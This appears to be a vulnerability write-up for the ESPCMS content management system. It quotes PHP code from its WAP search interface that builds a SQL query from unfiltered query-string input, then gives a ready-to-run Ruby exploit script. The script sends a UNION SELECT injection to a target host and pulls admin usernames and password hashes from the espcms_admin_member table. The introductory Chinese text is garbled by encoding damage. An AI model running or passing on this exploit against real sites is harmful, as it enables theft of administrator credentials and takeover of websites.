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±äÁ¿µÄ´«µÝ¹ý³ÌÊÇ$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query£¬Õû¸ö¹ý³ÌÎÞ¹ýÂ˵¼ÖÂÁË×¢ÈëµÄ·¢Éú¡£
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ÔÚ/interface/3gwap_search.phpÎļþµÄin_resultº¯ÊýÖÐ:
function in_result() {
... ... ... ... ... ... ... ... ...
$urlcode = $_SERVER[ 'QUERY_STRING '];
parse_str(html_entity_decode($urlcode), $output);
... ... ... ... ... ... ... ... ...
if (is_array($output['attr' ]) && count($output['attr']) > 0) {
$db_table = db_prefix . 'model_att';
foreach ($output['attr' ] as $key => $value) {
if ($value) {
$key = addslashes($key);
$key = $this-> fun->inputcodetrim($key);
$db_att_where = " WHERE isclass=1 AND attrname='$key'";
$countnum = $this->db_numrows($db_table, $db_att_where);
if ($countnum > 0) {
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
}
}
}
}
if (!empty ($keyword) && empty($keyname)) {
$keyname = 'title';
$db_where.= " AND a.title like '%$keyword%'" ;
} elseif (!empty ($keyword) && !empty($keyname)) {
$db_where.= " AND $keyname like '% $keyword%'";
}
$pagemax = 15;
$pagesylte = 1;
if ($countnum > 0) {
$numpage = ceil($countnum / $pagemax);
} else {
$numpage = 1;
}
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
... ... ... ... ... ... ... ... ...
}
0¡Á2 PoC
require "net/http"
def request(method, url)
if method.eql?("get")
uri = URI.parse(url)
http = Net::HTTP.new(uri.host, uri.port)
response = http.request(Net::HTTP::Get.new(uri.request_uri))
return response
end
end
doc =<<HERE
-------------------------------------------------------
Espcms Injection Exploit
Author:ztz
Blog:http://ztz.fuzzexp.org/
-------------------------------------------------------
HERE
usage =<<HERE
Usage: ruby #{$0} host port path
example: ruby #{$0} www.target.com 80 /
HERE
puts doc
if ARGV.length < 3
puts usage
else
$host = ARGV
$port = ARGV
$path = ARGV
puts "[*]send request..."
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
attr=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
response = request("get", url)
result = response.body.scan(/\w+&\w{32}/)
puts result
end
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